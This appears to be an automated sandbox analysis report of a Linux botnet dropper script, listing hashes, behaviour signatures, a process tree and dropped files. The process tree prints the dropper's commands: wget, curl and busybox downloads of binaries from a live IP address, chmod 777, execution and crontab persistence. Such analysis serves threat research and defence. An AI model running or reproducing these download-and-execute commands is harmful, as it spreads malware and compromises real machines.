Overview

overview

9

Static

static

1

1A1ZP_bins.sh

ubuntu-18.04-amd64

9

1A1ZP_bins.sh

debian-9-armhf

9

1A1ZP_bins.sh

debian-9-mips

8

1A1ZP_bins.sh

debian-9-mipsel

9

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    23-11-2024 22:26

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General

  • Target

    1A1ZP_bins.sh

  • Size

    10KB

  • MD5

    067bacf49031140dffc75c87a55b982b

  • SHA1

    1a8aa6e4e748ecc1869a60e3b61842f9a80084e3

  • SHA256

    9b1d17c582d6613a642e6f17bbb341aeeb7f2eb8b7d8b518ac32012c6e8b6408

  • SHA512

    513ef68d27873f31cede3c8d3af46ad2c9255a429b9c415482931510116735fbcf8818d2a4fa99a264cfbb10cb48dc35ff6ede5d0125bf00a6b49b20d893b15e

  • SSDEEP

    192:mOCoaLvys0e7PbxAsA0AY9p3hh3tVV7Jpy7N10Aw4ckzWKD7/Ls7dFttVdJpSN1r:/OHW/UQ

Score
9/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Contacts a large (2215) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/1A1ZP_bins.sh
    /tmp/1A1ZP_bins.sh
    1⤵
      PID:1508
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1509
        • /usr/bin/wget
          wget http://87.120.125.191/bins/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
          2⤵
          • Writes file to tmp directory
          PID:1510
        • /usr/bin/curl
          curl -O http://87.120.125.191/bins/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
          2⤵
          • Writes file to tmp directory
          PID:1511
        • /bin/busybox
          /bin/busybox wget http://87.120.125.191/bins/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
          2⤵
          • Writes file to tmp directory
          PID:1515
        • /bin/chmod
          chmod 777 pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
          2⤵
          • File and Directory Permissions Modification
          PID:1516
        • /tmp/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
          ./pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
          2⤵
          • Executes dropped EXE
          PID:1517
        • /bin/rm
          rm pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
          2⤵
            PID:1519
          • /usr/bin/wget
            wget http://87.120.125.191/bins/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
            2⤵
            • Writes file to tmp directory
            PID:1520
          • /usr/bin/curl
            curl -O http://87.120.125.191/bins/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
            2⤵
            • Writes file to tmp directory
            PID:1521
          • /bin/busybox
            /bin/busybox wget http://87.120.125.191/bins/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
            2⤵
            • Writes file to tmp directory
            PID:1522
          • /bin/chmod
            chmod 777 mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
            2⤵
            • File and Directory Permissions Modification
            PID:1523
          • /tmp/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
            ./mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:1524
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:1526
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:1527
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:1528
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:1529
                • /bin/rm
                  rm mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
                  2⤵
                    PID:1531
                  • /usr/bin/wget
                    wget http://87.120.125.191/bins/dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
                    2⤵
                      PID:1534

                  Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • /tmp/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
                    Filesize

                    98KB

                    MD5

                    5141342d0df8699fa32a6b066a0c592e

                    SHA1

                    8157673225bd5182f16215e2aa823a25ca2d4fbc

                    SHA256

                    54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                    SHA512

                    d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                    Download Submit

                  • /tmp/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
                    Filesize

                    107KB

                    MD5

                    eb9c3a0de91fcf16ba17cb24608df68c

                    SHA1

                    09d95a7d70d5e115d103be51edff7c498d272fac

                    SHA256

                    dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                    SHA512

                    9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                    Download Submit

                  • /var/spool/cron/crontabs/tmp.GE4npQ
                    Filesize

                    210B

                    MD5

                    433e94271e36486ae0f6d3535a4da347

                    SHA1

                    03c2a6a7867ecc6b11016b2a2b478fb9c7df8841

                    SHA256

                    aeacb22a054d07b9959142d39dcd59e47faabc49c3089ffe4ccaa75c01cd5f23

                    SHA512

                    c3a764271d9a2eed9939592cec5dde1ed36b0698874c5b4078b12bc3059a0b3a2bb74d5e29d1c9a45e4ece76859ebdfe93fe01516f2f493779a563c549c1f734

                    Download Submit